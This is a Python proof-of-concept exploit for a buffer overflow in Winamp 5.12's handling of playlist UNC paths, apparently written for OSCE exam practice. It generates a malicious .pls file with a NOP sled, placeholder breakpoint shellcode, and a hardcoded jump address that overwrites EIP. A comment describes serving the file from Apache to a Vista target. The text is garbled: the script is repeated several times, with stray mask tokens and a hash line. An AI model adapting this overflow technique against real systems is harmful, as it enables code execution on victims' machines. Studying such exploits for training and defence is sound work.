#!/usr/bin/python
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Python Exploit
#coded in python due to loathing of perl but necessity of use of this exploit for osce
start = "[playlist]\r\nFile1=\\\\"
nop = "\x90" * 856
#nops
shellcode = "\xcc" * 166
#breakpoints
#0202D961 -address of first call esp function in in_mp3 dll in the program
#this is added in to redirect execution
jmp = "\x61\xd9\x02\x02" + "\x83\x83\x83\x83\x83\x83\x83\x83" + "\x90\x90\x90\x90"
#41's for overwriting eip
end = "\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n"


payload = start + nop + shellcode + jmp + end
poc = open('poc.pls', 'w')
poc.write(start + nop + shellcode + jmp + end)
poc.close()
#you copy this generated poc.pls file into the apache web root, then download it onto the vista box

55eb9c417397bb591497f0f494f2ace0a6eb5aa6
<mask token>

<mask token>
poc.write(start + nop + shellcode + jmp + end)
poc.close()

start = '[playlist]\r\nFile1=\\\\'
nop = '\x90' * 856
shellcode = 'Ì' * 166
jmp = 'aÙ\x02\x02' + '\x83\x83\x83\x83\x83\x83\x83\x83' + '\x90\x90\x90\x90'
end = '\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n'
payload = start + nop + shellcode + jmp + end
poc = open('poc.pls', 'w')
poc.write(start + nop + shellcode + jmp + end)
poc.close()

#!/usr/bin/python
# Winamp 5.12 Playlist UNC Path Computer Name Overflow Python Exploit
#coded in python due to loathing of perl but necessity of use of this exploit for osce
start = "[playlist]\r\nFile1=\\\\"
nop = "\x90" * 856
#nops
shellcode = "\xcc" * 166
#breakpoints
#0202D961 -address of first call esp function in in_mp3 dll in the program
#this is added in to redirect execution
jmp = "\x61\xd9\x02\x02" + "\x83\x83\x83\x83\x83\x83\x83\x83" + "\x90\x90\x90\x90"
#41's for overwriting eip
end = "\r\nTitle1=pwnd\r\nLength1=512\r\nNumberOfEntries=1\r\nVersion=2\r\n"


payload = start + nop + shellcode + jmp + end
poc = open('poc.pls', 'w')
poc.write(start + nop + shellcode + jmp + end)
poc.close()
#you copy this generated poc.pls file into the apache web root, then download it onto the vista box
